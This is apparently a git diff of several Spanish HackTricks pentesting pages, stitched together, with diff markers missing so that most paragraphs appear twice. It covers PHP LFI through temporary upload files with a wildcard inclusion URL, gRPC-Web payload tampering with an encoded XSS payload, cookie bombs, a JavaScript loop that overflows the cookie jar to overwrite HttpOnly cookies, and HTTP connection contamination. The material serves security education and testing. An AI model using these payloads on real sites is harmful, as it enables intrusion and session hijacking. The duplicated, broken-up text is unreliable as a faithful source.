Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
**Consulta todos los detalles de esta técnica en [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
## **Cargas de archivos PHP**
Cuando un motor de **PHP** recibe una **solicitud POST** que contiene archivos formateados según RFC 1867, genera archivos temporales para almacenar los datos cargados. Estos archivos son cruciales para el manejo de carga de archivos en scripts de PHP. La función `move_uploaded_file` debe usarse para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
{% hint style="info" %}
**Alerta de seguridad: Los atacantes, al conocer la ubicación de los archivos temporales, podrían explotar una vulnerabilidad de Inclusión de Archivos Locales para ejecutar código accediendo al archivo durante la carga.**
{% endhint %}
El desafío para el acceso no autorizado radica en predecir el nombre del archivo temporal, que está intencionalmente aleatorizado.
**Consulta los detalles completos de esta técnica en [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)**
## **Subidas de archivos PHP**
Cuando un motor **PHP** recibe una **solicitud POST** que contiene archivos formateados de acuerdo con la RFC 1867, genera archivos temporales para almacenar los datos subidos. Estos archivos son cruciales para el manejo de subidas de archivos en scripts PHP. La función `move_uploaded_file` debe ser utilizada para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
{% hint style="info" %}
**Alerta de seguridad: Los atacantes, conscientes de la ubicación de los archivos temporales, podrían explotar una vulnerabilidad de Inclusión de Archivos Local (LFI) para ejecutar código accediendo al archivo durante la subida.**
{% endhint %}
El desafío para el acceso no autorizado radica en predecir el nombre del archivo temporal, que es intencionalmente aleatorio.
#### Explotación en Sistemas Windows
En Windows, PHP genera nombres de archivo temporales utilizando la función `GetTempFileName`, lo que resulta en un patrón como `<path>\<pre><uuuu>.TMP`. Es importante destacar que:
En Windows, PHP genera nombres de archivos temporales utilizando la función `GetTempFileName`, resultando en un patrón como `<path>\<pre><uuuu>.TMP`. Notablemente:
- La ruta predeterminada suele ser `C:\Windows\Temp`.
- La ruta predeterminada es típicamente `C:\Windows\Temp`.
- El prefijo suele ser "php".
- El `<uuuu>` representa un valor hexadecimal único. Es crucial mencionar que, debido a la limitación de la función, solo se utilizan los 16 bits inferiores, lo que permite un máximo de 65,535 nombres únicos con una ruta y prefijo constantes, lo que hace factible la fuerza bruta.
- El `<uuuu>` representa un valor hexadecimal único. Crucialmente, debido a la limitación de la función, solo se utilizan los 16 bits inferiores, permitiendo un máximo de 65,535 nombres únicos con ruta y prefijo constantes, lo que hace que el ataque por fuerza bruta sea factible.
Además, el proceso de explotación se simplifica en sistemas Windows. Una peculiaridad en la función `FindFirstFile` permite el uso de comodines en las rutas de Inclusión de Archivos Locales (LFI). Esto permite crear una ruta de inclusión como la siguiente para localizar el archivo temporal:
Además, el proceso de explotación se simplifica en sistemas Windows. Una peculiaridad en la función `FindFirstFile` permite el uso de comodines en las rutas de Inclusión de Archivos Local (LFI). Esto permite crear una ruta de inclusión como la siguiente para localizar el archivo temporal:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
En ciertas situaciones, puede ser necesario un máscara más específica (como `php1<<` o `phpA<<`). Se puede probar sistemáticamente estas máscaras para descubrir el archivo temporal subido.
En ciertas situaciones, puede ser necesaria una máscara más específica (como `php1<<` o `phpA<<`). Se pueden probar sistemáticamente estas máscaras para descubrir el archivo temporal subido.
#### Explotación en Sistemas GNU/Linux
Para sistemas GNU/Linux, la aleatoriedad en la nomenclatura de archivos temporales es sólida, lo que hace que los nombres no sean predecibles ni susceptibles a ataques de fuerza bruta. Se pueden encontrar más detalles en la documentación referenciada.
Para sistemas GNU/Linux, la aleatoriedad en la nomenclatura de archivos temporales es robusta, lo que hace que los nombres no sean predecibles ni susceptibles a ataques de fuerza bruta. Se pueden encontrar más detalles en la documentación referenciada.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,38 +1,29 @@
# Pentesting gRPC-Web
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Manipulando Cargas útiles de gRPC-Web**
gRPC-Web utiliza Content-Type: `application/grpc-web-text` en las solicitudes, que es una especie de protobuf en forma codificada en base64, puedes usar la herramienta [gprc-coder](https://github.com/nxenon/grpc-pentest-suite), y también puedes instalar su [Extensión de Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
## **Manipulando Cargas Útiles de gRPC-Web**
gRPC-Web utiliza Content-Type: `application/grpc-web-text` en las solicitudes, que es una especie de protobuf en forma codificada en base64. Puedes usar la herramienta [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) y también puedes instalar su [Extensión de Burp Suite](https://github.com/nxenon/grpc-pentest-suite).
### **Manual con la herramienta gGRPC Coder**
### **Manual con la Herramienta gGRPC Coder**
1. Primero decodifica la carga útil:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
## 2. Edit the content of decoded payload
### English
```html
Once you have successfully intercepted and decoded the gRPC-web request, you can now edit the content of the payload. This can be useful for testing different scenarios or injecting payloads to exploit vulnerabilities. Simply make the necessary changes to the decoded payload and re-encode it before forwarding it to the server.
```
### Spanish
```html
Una vez que hayas interceptado y decodificado con éxito la solicitud gRPC-web, ahora puedes editar el contenido del payload. Esto puede ser útil para probar diferentes escenarios o inyectar payloads para explotar vulnerabilidades. Simplemente realiza los cambios necesarios en el payload decodificado y vuelve a codificarlo antes de reenviarlo al servidor.
```
2. Editar el contenido de la carga útil decodificada
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
@ -47,17 +38,17 @@ protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **Manual con la Extensión de Burp Suite de Coder gRPC-Web**
Puedes utilizar la Extensión de Burp Suite de Coder gRPC-Web en la [Suite de Pruebas de gRPC-Web](https://github.com/nxenon/grpc-pentest-suite) que es más fácil. Puedes leer las instrucciones de instalación y uso en su repositorio.
### **Manual con la extensión gRPC-Web Coder de Burp Suite**
Puedes usar la extensión gRPC-Web Coder de Burp Suite en [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) que es más fácil. Puedes leer las instrucciones de instalación y uso en su repositorio.
## **Analizando Archivos Javascript de gRPC-Web**
Hay al menos un archivo Javascript en cada aplicación de gRPC-Web. Puedes analizar el archivo para encontrar nuevos mensajes, endpoints y servicios. Intenta usar la herramienta [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
1. Descarga el Archivo Javascript de gRPC-Web
## **Analizando archivos Javascript de gRPC-Web**
Hay al menos un archivo Javascript en cada aplicación gRPC-Web. Puedes analizar el archivo para encontrar nuevos mensajes, endpoints y servicios. Intenta usar la herramienta [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
1. Descarga el archivo Javascript gRPC-Web
2. Escanéalo con grpc-scan.py:
```bash
python3 grpc-scan.py --file main.js
```
3. Analizar la salida y probar los nuevos puntos finales y servicios nuevos:
3. Analiza la salida y prueba los nuevos endpoints y nuevos servicios:
```
Output:
Found Endpoints:
@ -151,19 +142,20 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
```
## Referencias
* [Artículo sobre cómo hackear gRPC-Web por Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [Suite de Pentesting gRPC-Web](https://github.com/nxenon/grpc-pentest-suite)
* [Artículo sobre Hacking en gRPC-Web por Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [Suite de Pentest de gRPC-Web](https://github.com/nxenon/grpc-pentest-suite)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,19 +1,36 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**`Cookie bomb`** implica **agregar una cantidad significativa de cookies grandes a un dominio y sus subdominios apuntando a un usuario**. Esta acción resulta en que la víctima **envíe solicitudes HTTP sobredimensionadas** al servidor, las cuales son posteriormente **rechazadas por el servidor**. La consecuencia de esto es la inducción de una Denegación de Servicio (DoS) específicamente dirigida a un usuario dentro de ese dominio y sus subdominios.
**`Cookie bomb`** implica **agregar una cantidad significativa de cookies grandes a un dominio y sus subdominios dirigidos a un usuario**. Esta acción resulta en que la víctima **envíe solicitudes HTTP de gran tamaño** al servidor, que son posteriormente **rechazadas por el servidor**. La consecuencia de esto es la inducción de una Denial of Service (DoS) específicamente dirigida a un usuario dentro de ese dominio y sus subdominios.
Un buen **ejemplo** se puede ver en este informe: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
Y para más información, puedes consultar esta presentación: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Los navegadores tienen un **límite en la cantidad de cookies** que pueden almacenar para una página. Entonces, si por alguna razón necesitas **hacer que una cookie desaparezca**, puedes **desbordar el tarro de cookies** ya que las más antiguas se eliminarán antes:
Los navegadores tienen un **límite en el número de cookies** que pueden almacenar para una página. Entonces, si por alguna razón necesitas **hacer desaparecer una cookie**, puedes **desbordar el tarro de cookies** ya que las más antiguas serán eliminadas primero:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -25,25 +26,26 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
Ten en cuenta que las cookies de terceros que apunten a un dominio diferente no serán sobrescritas.
Nota que las cookies de terceros que apuntan a un dominio diferente no serán sobrescritas.
{% hint style="danger" %}
Este ataque también se puede utilizar para **sobrescribir cookies HttpOnly, ya que puedes eliminarlas y luego restablecerlas con el valor que desees**.
Este ataque también se puede utilizar para **sobrescribir cookies HttpOnly ya que puedes eliminarlas y luego restablecerlas con el valor que desees**.
Consulta esto en [**esta publicación con un laboratorio**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
Verifica esto en [**esta publicación con un laboratorio**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{% endhint %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,29 +1,45 @@
# Contaminación de Conexión HTTP
# Contaminación de Conexiones HTTP
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Este es un resumen del post: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. ¡Consultalo para más detalles!
**Este es un resumen de la publicación: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. ¡Consúltalo para más detalles!
Los navegadores web pueden reutilizar una única conexión HTTP/2+ para diferentes sitios web a través de la [coalescencia de conexiones HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), siempre que compartan direcciones IP y un certificado TLS común. Sin embargo, esto puede entrar en conflicto con el **enrutamiento de primera solicitud** en reverse-proxies, donde las solicitudes posteriores son dirigidas al back-end determinado por la primera solicitud. Este enrutamiento incorrecto puede llevar a vulnerabilidades de seguridad, especialmente cuando se combina con certificados TLS comodín y dominios como `*.example.com`.
Los navegadores web pueden reutilizar una única conexión HTTP/2+ para diferentes sitios web a través de [coalescencia de conexiones HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), dado que comparten direcciones IP y un certificado TLS común. Sin embargo, esto puede entrar en conflicto con el **enrutamiento de primera solicitud** en proxies inversos, donde las solicitudes subsiguientes se dirigen al back-end determinado por la primera solicitud. Este enrutamiento incorrecto puede llevar a vulnerabilidades de seguridad, particularmente cuando se combina con certificados TLS comodín y dominios como `*.example.com`.
Por ejemplo, si `wordpress.example.com` y `secure.example.com` son servidos por el mismo reverse proxy y tienen un certificado comodín común, la coalescencia de conexiones del navegador podría hacer que las solicitudes a `secure.example.com` sean procesadas incorrectamente por el back-end de WordPress, explotando vulnerabilidades como XSS.
Por ejemplo, si `wordpress.example.com` y `secure.example.com` son servidos por el mismo proxy inverso y tienen un certificado comodín común, la coalescencia de conexiones de un navegador podría llevar a que las solicitudes a `secure.example.com` sean procesadas incorrectamente por el back-end de WordPress, explotando vulnerabilidades como XSS.
Para observar la coalescencia de conexiones, se pueden utilizar la pestaña de Red de Chrome o herramientas como Wireshark. Aquí tienes un fragmento para realizar pruebas:
Para observar la coalescencia de conexiones, se puede utilizar la pestaña de Red de Chrome o herramientas como Wireshark. Aquí hay un fragmento para probar:
```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
```
La amenaza actualmente está limitada debido a la rareza del enrutamiento de la primera solicitud y la complejidad de HTTP/2. Sin embargo, los cambios propuestos en HTTP/3, que relajan el requisito de coincidencia de direcciones IP, podrían ampliar la superficie de ataque, haciendo que los servidores con un certificado comodín sean más vulnerables sin necesidad de un ataque MITM.
